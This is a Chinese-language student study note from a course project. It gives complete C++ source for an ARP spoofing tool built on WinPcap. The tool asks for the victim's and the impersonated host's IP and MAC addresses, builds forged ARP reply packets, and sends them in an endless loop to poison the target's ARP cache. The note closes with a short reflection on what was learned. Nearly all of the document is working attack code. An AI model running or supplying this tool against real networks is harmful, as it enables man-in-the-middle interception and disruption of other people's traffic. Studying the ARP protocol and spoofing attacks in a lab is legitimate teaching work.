学习笔记——C++实现ARP欺骗

谢谢指正错误


在课设期间,从网上学习了简单的实现ARP欺骗
ARP欺骗的原理很简单:通过不断的向目标发送ARP包,致使目标主机的ARP缓存表中正确的IP映射的是错误的MAC地址

在书上的介绍中,采用了WinPcap的开发包,这样很方便的对网卡进行操作

所以,首先需要安装winpacp,并下载开发者包https://www.winpcap.org/devel.htm

对项目文件属性进行配置
1. 学习笔记——C++实现ARP欺骗_第1张图片
2. 学习笔记——C++实现ARP欺骗_第2张图片
3. 学习笔记——C++实现ARP欺骗_第3张图片
4. 学习笔记——C++实现ARP欺骗_第4张图片

以下是根据网上的学习,所实现的代码:

#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include 
#include    
#include "pcap.h"
#include 

// DLC Header
#pragma pack (1)//使结构体按1字节方式对齐
typedef struct tagDLCHeader
{
    unsigned char DesMAC[6];//以太网目的mac地址
    unsigned char SrcMAC[6];//以太网源目的mac地址
    unsigned short Ethertype;//帧类型
} DLCHEADER, *PDLCHEADER;

typedef struct tagARPFrame
{
    unsigned short  HW_Type;//硬件类型,2字节,填充0x0001
    unsigned short Prot_Type;//协议的类型,2字节,填充0x0800
    unsigned char HW_Addr_Len;//MAC地址长度,1字节
    unsigned char Prot_Addr_Len;//IP地址长度,1字节
    unsigned short  Opcode;//操作码,2字节,0x0001为请求包,0x0002为应答包
    unsigned char Send_HW_Addr[6];//发送方的MAC地址
    unsigned long Send_Prot_Addr;//发送方的IP地址
    unsigned char Targ_HW_Addr[6];//接受方的MAC地址
    unsigned long Targ_Prot_Addr;//接收方的IP地址
//  unsigned char padding[18];
} ARPFRAME, *PARPFRAME;

// ARP Packet = DLC header + ARP Frame
typedef struct tagARPPacket
{
    DLCHEADER dlcHeader; //以太网头部
    ARPFRAME arpFrame;//arp头部
} ARPPACKET, *PARPPACKET;

#pragma


int mac_str_to_bin(char *str, char *mac)
{
    int i;
    char *s, *e;
    if ((mac == NULL) || (str == NULL))
    {
        return -1;
    }
    s = (char *)str;
    for (i = 0; i < 6; ++i)
    {
        mac[i] = s ? strtoul(s, &e, 16) : 0;
        if (s)
            s = (*e) ? e + 1 : e;
    }
    return 0;
}

//
pcap_t *adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_if_t *alldevs;
pcap_if_t *d;

pcap_t * init()
{
//  pcap_if_t *alldevs;
//  pcap_if_t *d;
    int inum;
    int i = 0;         //网卡数量
    /* Retrieve the device list */
    //获取当前网卡列表
    if (pcap_findalldevs(&alldevs, errbuf) == -1)
    {
        fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
        exit(1);
    }
    //打印网卡的列表
    for (d = alldevs; d; d = d->next)
    {
        printf("%d. %s", ++i, d->name);
        //如果有网卡就打印出来
        if (d->description)
        {
            printf("(%s)\n ", d->description);
        }
        else
        {
            printf(" (No description available)\n ");
        }

    }
    if (i == 0)
    {
        printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
        return 0;
    }
    printf("Enter the interface number (1-%d):", i);
    scanf_s("%d", &inum, sizeof(int));

    if (inum < 1 || inum > i)
    {
        printf("\nInterface number out of range.\n");
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return 0;
    }
    //跳转到所选择的适配器
    for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++)
        //打开所选的网卡适配器
        if ((adhandle = pcap_open_live(d->name,   //适配器的名称
            65535,                                //捕获的数据包的部分。
            //65535是捕获所有流经的数据包,所有的数据包通过都产生端口
            0,
            1000,                                 //读取超时时间
            errbuf                                //错误缓存
            ))
            == NULL)
        {
            fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
            /* Free the device list */
            pcap_freealldevs(alldevs);
            return 0;
        }



    printf("\nlistening on %s...\n", d->description);
    /* At this point, we don't need any more the device list. Free it */
    //当监控某个网卡适配器后,就释放其他的,因为用不到了
    pcap_freealldevs(alldevs);



    return adhandle;

}

void sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket)
{
    /* Send down the packet */
    if (pcap_sendpacket(fp,             // Adapter
        (const u_char *)&ARPPacket,     // buffer with the packet
        sizeof(ARPPacket)               // size
        ) != 0)
    {
        fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));
        printf("send NULL ! \n");
        return;
    }
    else
    {
        //      printf("%d", sizeof(ARPPacket));
        printf("send OK ! \n");
    }

}


ARPPACKET  makeArp(int a){
    ARPPACKET ARPPacket;// 定义ARPPACKET结构体变量
    int arpType;
    struct in_addr s;
    char* srcIP;
    srcIP = (char*)malloc(sizeof(char) * 16);
    char* desIP;
    desIP = (char*)malloc(sizeof(char) * 16);
    char* srcMac;
    srcMac = (char*)malloc(sizeof(char) * 18);
    char* desMac;
    desMac = (char*)malloc(sizeof(char) * 18);
    if (a == 1)
    {
        printf("欺骗a方:\n");
        printf("请输入b方ip地址:");
        scanf_s("%s", srcIP, 16);
        printf("请输入a方ip地址:");
        scanf_s("%s", desIP, 16);
        printf("请输入arp包类型[01:请求  02:应答包][若需攻击则为02]:");
        scanf_s("%d", &arpType, sizeof(int));
        printf("请输入本机mac地址:[格式为ff:ff:ff:ff:ff:ff]");
        scanf("%s", srcMac);
        printf("请输入a方mac地址:[格式为ff:ff:ff:ff:ff:ff]");
        scanf("%s", desMac);
    }
    /*else if(a==2)
    {
    printf("欺骗B方:\n");
    printf("请输入A方IP地址:");
    scanf_s("%s", srcIP, 16);
    printf("请输入B方IP地址:");
    scanf_s("%s", desIP, 16);
    printf("请输入ARP包类型[01:请求  02:应答包][若需攻击则为02]:");
    scanf_s("%d", &arpType, sizeof(int));
    printf("请输入本机MAC地址:[格式为ff:ff:ff:ff:ff:ff]");
    scanf_s("%s", srcMac, 12);
    printf("请输入B方MAC地址:[格式为ff:ff:ff:ff:ff:ff]");
    scanf_s("%s", desMac, 12);
    }*/

    mac_str_to_bin(srcMac, (char*)ARPPacket.dlcHeader.SrcMAC);
    mac_str_to_bin(desMac, (char*)ARPPacket.dlcHeader.DesMAC);

    ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型ARP包
    ARPPacket.arpFrame.HW_Type = htons((unsigned short)0x0001);
    ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800);
    ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6;//MAC地址长度
    ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4;// IP地址长度
    ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType);//arp包类型
    mac_str_to_bin(srcMac, (char*)ARPPacket.arpFrame.Send_HW_Addr);
    ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP);// 源IP 
    //  printf("%6.6x \n", ARPPacket.arpFrame.Send_Prot_Addr);
    mac_str_to_bin(srcMac, (char*)ARPPacket.arpFrame.Targ_HW_Addr);
    ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP);//目的IP
    //  printf("%6.6x \n", ARPPacket.arpFrame.Targ_Prot_Addr);
    return ARPPacket;
}

int main(int argc, char **argv) {

    pcap_t * adhandle = init();

    ARPPACKET ARPPacket_A = makeArp(1);
//  ARPPACKET ARPPacket_B = makeArp(2);
    while (true)
    {
        sendArpPacket(adhandle, ARPPacket_A);       
//      sendArpPacket(adhandle, ARPPacket_B);
        Sleep(500);
//      Sleep(1000);
    }
    pcap_close(adhandle);
    return 0;
}

实现之后的操作结果如图所示:
学习笔记——C++实现ARP欺骗_第5张图片

结果在wareshark中抓包,显示如图:
学习笔记——C++实现ARP欺骗_第6张图片

这次课设,了解了ARP的包结构和使用winpacp的发包与收包工作,同时如何构造ARP包,IP包,UDP包,学习书上对于IP包的分析代码也是很有收获。

你可能感兴趣的:(学习笔记)